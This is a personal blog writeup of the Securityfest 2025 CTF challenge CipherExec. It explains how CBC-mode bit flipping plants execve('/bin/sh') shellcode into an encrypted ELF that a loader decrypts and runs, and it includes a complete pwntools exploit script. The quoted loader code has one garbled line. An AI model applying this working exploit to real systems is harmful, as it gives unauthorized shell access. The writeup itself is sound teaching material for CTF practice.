Writeup for Securityfest 2025 challenge CipherExec

Posted on Jun 6, 2025

On June 4–5, 2025, the annual Securityfest conference unfolded once again in the fair city of Gothenburg, Sweden. Last year’s edition was a blast, so I had high expectations going into this one. That is, until I realized it clashed with something even more important: my son’s graduation. Family comes first, even when buffer overflows are on the table.

So, no on-site exploits for me this year. But I still rallied behind our CTF team from afar, cheering, debugging, and throwing digital confetti. (More on the conference and the CTF results at the end of this post.)

Now, enough sentimentality. Let’s dive into one of the pwn challenges called CipherExec. Time to suit up, recon the target, and start poking at some binaries.

Recon

First things first, let’s take a look at the challenge page:

The challenge is called CipherExec, and it comes with pwn and crypto tags. A few files are available for download, along with connection details for the remote server. Only two people solved it. I know because I took this screenshot after being one of them. :)

Let’s dig in, time to grab the files and see what we’re dealing with.

Analysing the downloaded files

The filenames kind of give the game away, but let’s not get ahead of ourselves. Time to do the responsible thing and run file to confirm what we’re dealing with.

~/Downloads/CipherExec file chall.py 
chall.py: Python script, ASCII text executable
~/Downloads/CipherExec file main.elf
main.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9a3086b8529dc52d6fc03afcb4f319c3f84f1bae, for GNU/Linux 3.2.0, stripped
~/Downloads/CipherExec file main.elf.encrypted 
main.elf.encrypted: OpenPGP Public Key

Let’s have a look at the Python script, like it’s our likely entry point into the challenge.

#!/usr/bin/env python3

import os
import stat
import subprocess
import sys
import tempfile
import atexit

from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

from pathlib import Path

from secret import iv, aes_key

def main():
    print("Hello! If you give me an encrypted binary I will decrypt it and run it for you!")
    length = int(input("Length: "))
    print(f"Please provide a binary of length {length}")
    data = sys.stdin.buffer.read(length)patched_rodata_text.elf.encrypted

    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    decrypted_binary = cipher.decrypt(data)

    with tempfile.TemporaryDirectory() as tmp_dir:
        tmp_path = os.path.join(tmp_dir, "binary")
        Path(tmp_path).write_bytes(decrypted_binary)
        os.chmod(tmp_path, 0o755)

        print("Running the binary now. Enjoy!")
        subprocess.run([tmp_path])


if __name__ == "__main__":
    main()

This Python script acts as a friendly little loader.. It asks for an AES-encrypted binary via stdin, decrypts it using a secret key and IV (imported from secret.py), and then runs the decrypted payload like it’s just another Tuesday. Our aim here is ofcourse RCE but we do not have that secret.py which we need to encrypt our own executable and send it to the service.

So what can we do?

Coming up with an exploitation strategy

Im not really a crypto guy. I understand enough of the basic principles to handle stuff and know what to look for but when it comes to details I always turn to our team member gozzze. I explained the situation and asked what fun could be done by manipulating the encrypted file. This was his reply:

For you non swedish guys this is like:

If you modify a block in the encrypted binary, that block will turn into random garbage after decryption. But the next block in the decrypted output will be XORed with your modified one—so you can craft whatever you want in those 16 bytes (based on: original plaintext of the next block XOR original previous block XOR your modified block), as long as you can avoid executing the block you just messed up.

This is the best thing about being a part of a team. From that i concluded that since we have both the original binary and its encrypted version, we can align the plaintext and ciphertext blocks and use them to inject 16 bytes of garbage followed by 16 bytes of what we want without ever needing the AES key.

So here’s the plan:

We’ll sacrifice one block (16 bytes) to act as our tool of control. By carefully crafting this block via XOR operations, we can make the decrypted output of the next block turn into whatever we want—or at least enough to redirect execution or inject something useful.

Step one is to take a closer look at the unencrypted binary to figure out what we’re actually dealing with. And as always, we begin with the usual ritual:

~/Downloads/CipherExec checksec main.elf
[*] '/home/f1rstr3am/Downloads/CipherExec/main.elf'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled

Nice, no PIE, which means all addresses are fixed and predictable. That’s one less layer of uncertainty. Let’s load this thing up in Ghidra so we can see what’s going on.

After some klicking around I found the main function that looks like this:


undefined8 FUN_004011c1(void)

{
  long in_FS_OFFSET;
  undefined1 local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Type some amazing text and I will echo it back to you: ");
  FUN_00401080("%128s",local_98);
  printf("Here is the text you entered: \"%s\"\n",local_98);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

The binary itself is pretty chill, it just takes your input and echoes it back. No format strings, no buffer overflows, nothing obviously exploitable at first glance.

So here’s the plan: we’re going to inject shellcode at decryption time by abusing the XOR behavior in CBC mode, as described earlier. The catch? We can only inject 16 bytes at a time, and the block we use to control the next one gets trashed in the process. If that first block contains code, the whole thing crashes and burns.

The trick, then, is to find a region of executable code that’s preceded by some “safe-to-scorch” bytes—stuff we can overwrite without crashing the binary. And since 16 bytes is a bit tight for shellcode, we’re actually going to need two separate memory regions:

One to store the string “/bin/sh”

Another for this 16-byte shellcode payload:

nop 
nop
nop
mov edi, [address of /bin/sh]
xor esi, esi
xor edx, edx
mov al, 0x3b
syscall

You might be wondering about the nops. That’s because our shellcode has to be exactly 16 bytes long. Sure, we could’ve padded the end with garbage, but using nops makes it cleaner—and let’s be honest, a well-aligned shellcode just feels right.

Next up: finding good landing spots for our /bin/sh string and the shellcode.The address 0x402008 looks like a solid candidate for the string:

                             //
                             // .rodata 
                             // SHT_PROGBITS  [0x402000 - 0x40206b]
                             // ram:00402000-ram:0040206b
                             //
                             DAT_00402000                                    XREF[2]:     00400130(*), 
                                                                                          _elfSectionHeaders::00000450(*)  
        00402000 01              ??         01h
        00402001 00              ??         00h
        00402002 02              ??         02h
        00402003 00              ??         00h
        00402004 00              ??         00h
        00402005 00              ??         00h
        00402006 00              ??         00h
        00402007 00              ??         00h
                             s_Type_some_amazing_text_and_I_wil_00402008     XREF[2]:     FUN_004011c1:004011df(*), 
                                                                                          FUN_004011c1:004011e6(*)  
        00402008 54 79 70        ds         "Type some amazing text and I will echo it bac
                 65 20 73 
                 6f 6d 65 

Why this spot? A few reasons. The string gets printed by the program, so we’ll know immediately if our decryption trick worked if we need to debug, our injected string will show up right in the output. There are only 8 junk bytes before it, and CBC bit-flipping requires overwriting the full 16-byte block. Looking a bit higher up in memory, we find this:

                             //
                             // .fini 
                             // SHT_PROGBITS  [0x40124c - 0x401258]
                             // ram:0040124c-ram:00401258
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined _DT_FINI()
             undefined         <UNASSIGNED>   <RETURN>
                             __DT_FINI                                       XREF[3]:     Entry Point(*), 00403e30(*), 
                             _DT_FINI                                                     _elfSectionHeaders::00000410(*)  
        0040124c f3 0f 1e fa     ENDBR64
        00401250 48 83 ec 08     SUB        RSP,0x8
        00401254 48 83 c4 08     ADD        RSP,0x8
        00401258 c3              RET

My thinking: if we inject our shellcode at a location that’s executed before _DT_FINI() kicks in, we’re golden. That way, our overwritten bytes won’t interfere with anything critical, at least not until after our payload has already done its job. So now where should we inject our shellcode? The obvious choice would have been main ( FUN_004011c1() ) but there was some init code just before it that we do not want to overwrite so I ended up aiming for this _FINI_0:

                             LAB_00401130                                    XREF[2]:     0040111d(j), 00401127(j)  
        00401130 c3              RET
        00401131 66              ??         66h    f
        00401132 66              ??         66h    f
        00401133 2e              ??         2Eh    .
        00401134 0f              ??         0Fh
        00401135 1f              ??         1Fh
        00401136 84              ??         84h
        00401137 00              ??         00h
        00401138 00              ??         00h
        00401139 00              ??         00h
        0040113a 00              ??         00h
        0040113b 00              ??         00h
        0040113c 0f              ??         0Fh
        0040113d 1f              ??         1Fh
        0040113e 40              ??         40h    @
        0040113f 00              ??         00h
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined _FINI_0()
             undefined         <UNASSIGNED>   <RETURN>
                             _FINI_0                                         XREF[2]:     Entry Point(*), 00403e00(*)  
        00401140 f3 0f 1e fa     ENDBR64
        00401144 80 3d dd        CMP        byte ptr [DAT_00404028],0x0                      = ??
                 2e 00 00 00
        0040114b 75 13           JNZ        LAB_00401160
        0040114d 55              PUSH       RBP
        0040114e 48 89 e5        MOV        RBP,RSP
        00401151 e8 7a ff        CALL       FUN_004010d0                                     undefined FUN_004010d0()
                 ff ff
        00401156 c6 05 cb        MOV        byte ptr [DAT_00404028],0x1                      = ??
                 2e 00 00 01
        0040115d 5d              POP        RBP
        0040115e c3              RET
        0040115f 90              ??         90h

There’s some junk just before it that we’ll inevitably trash with our crafted ciphertext. But as far as I can tell these are just unused bytes. So we will try to put our shellcode at address 0x00401140. We need to map these virtual addresses to actual file offsets in the encrypted binary, so we know exactly which blocks to flip.

The first one’s straightforward, we’re just replacing a string that already exists in the binary.

~/Downloads/CipherExec xxd main.elf | grep "Type"     
00002000: 0100 0200 0000 0000 5479 7065 2073 6f6d  ........Type som

Perfect. That block is already 16-byte aligned, so we can pad as needed and cleanly drop in our “/bin/sh\0”. That gives us our first file offset if we back of 16 byte its: 0x1ff0.

Now we need the offset for _FINI_0(). Normally, I’d let pwntools handle this with something like vaddr_to_offset(), but it wasn’t having a good day—probably due to stripped headers or something equally annoying. I didn’t dig too deep. Instead, I took a more hands-on approach: searching for a recognizable byte pattern right before the function. That led me to this:

~/Downloads/CipherExec xxd main.elf | grep "803d dd2e"
00001140: f30f 1efa 803d dd2e 0000 0075 1355 4889  .....=.....u.UH.

That seems to be it so if we back off 16 bytes we land at 0x1130 which is the offset we will use for the shellcode. Now enough of analysis let’s write some exploit code.

Writing the exploitcode

With all that figured out, I finally landed on this shellcode. I had a bit of a struggle getting the file offsets right, pwntools wasn’t cooperating, so I had to go the manual route. After a few failed attempts (and some trial-and-error that definitely won’t make it into any textbook), I patched things up using the offsets and calculations you’ll see below.

from pwn import *
from pathlib import Path

HOST = 'secfest.ctfchall.se'
PORT = 50001
BLOCK_SIZE = 16
BINSH_FILE_OFFSET = 0x2000
SHELL_FILE_OFFSET = 0x1130

with open("main.elf.encrypted", "rb") as f:
    ciphertext = bytearray(f.read())
with open("main.elf", "rb") as f:
    plaintext = f.read()

# --- Part 1: Inject "/bin/sh" at 0x402008 (file offset 0x2000) ---
prev_binsh_offset = BINSH_FILE_OFFSET - BLOCK_SIZE
original_plain = plaintext[BINSH_FILE_OFFSET:BINSH_FILE_OFFSET + BLOCK_SIZE]
original_cipher = ciphertext[prev_binsh_offset:prev_binsh_offset + BLOCK_SIZE]
binsh_payload = b"A" * 8 + b"/bin/sh\x00"
assert len(binsh_payload) == BLOCK_SIZE

patched_cipher = bytes(c ^ p ^ n for c, p, n in zip(original_cipher, original_plain, binsh_payload))
ciphertext[prev_binsh_offset:prev_binsh_offset + BLOCK_SIZE] = patched_cipher

# --- Part 2: Inject execve("/bin/sh") shellcode at main (0x4011c0) (file offset 0x1130)
SHELL_FILE_OFFSET = 0x1130
prev_shellcode_offset = SHELL_FILE_OFFSET - BLOCK_SIZE

shellcode = asm("""
    nop 
    nop
    nop
    mov edi, 0x402008
    xor esi, esi
    xor edx, edx
    mov al, 0x3b
    syscall
""", arch='amd64')
assert len(shellcode) == 16

original_plain_shell = plaintext[SHELL_FILE_OFFSET:SHELL_FILE_OFFSET + BLOCK_SIZE]
original_cipher_shell = ciphertext[prev_shellcode_offset:prev_shellcode_offset + BLOCK_SIZE]
patched_shell = bytes(c ^ p ^ s for c, p, s in zip(original_cipher_shell, original_plain_shell, shellcode))
ciphertext[prev_shellcode_offset:prev_shellcode_offset + BLOCK_SIZE] = patched_shell

# Deliver the exploit and spawn shell
r = remote(HOST, PORT, ssl=True)
r.sendlineafter(b'Length:',bytes(str(len(ciphertext)), 'utf-8'))
r.sendlineafter(str(len(ciphertext)).encode(), ciphertext)

r.interactive()

Not my proudest code… but hey lets se if it works. :)

Gaining access

Time to deliver the payload and see if it actually works.

Christian

Now, I’ll be honest, things didn’t go nearly this smoothly during the competition. Getting the offsets right took a few rounds of head-scratching and guesswork. But in the end, it all came together.

Summary

Like I said its a said thing I could not be onsite this year. But from what I heard from my colleges there they had a good time. Ofcourse being in Gothenburg eating brisket and mexican food and sending pictures to me of it was great blat…. bastards.

SSM24

Since I wasn’t there in person, I can’t say much more about the conference itself, but I can talk a bit about the CTF.

Last year introduced an awesome twist: certain challenges could only be solved if you were physically at the venue. I loved that idea then, and even though I missed out this year, I’m glad they kept pushing in that direction. Last time it was badge-based; this year included elements like RFID puzzles and even a bit of social engineering. Solid work.

SSM24

A lot of CTFs in Sweden lean a bit toward the elitist side, and that’s fine. But when you’re running it alongside a conference and only got 24-hours, it makes more sense to take a slightly lighter approach. And I think this year really hit a better balance.

It’s great when newer or less experienced folks can come to a con like this, soak it all in, and still have a shot at solving a few challenges. That kind of accessibility is how you grow a community. At the same time, there was still plenty to chew on for the more seasoned security folks, just with more reasonable pacing.

SSM24

We ended up taking 4th place, and had a great time along the way. I really hope the CTF keeps evolving in this direction: a mix of onsite-only challenges, approachable ones for newcomers, and tough ones for the veterans. That’s the kind of setup that gets more people involved, and keeps them coming back.

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM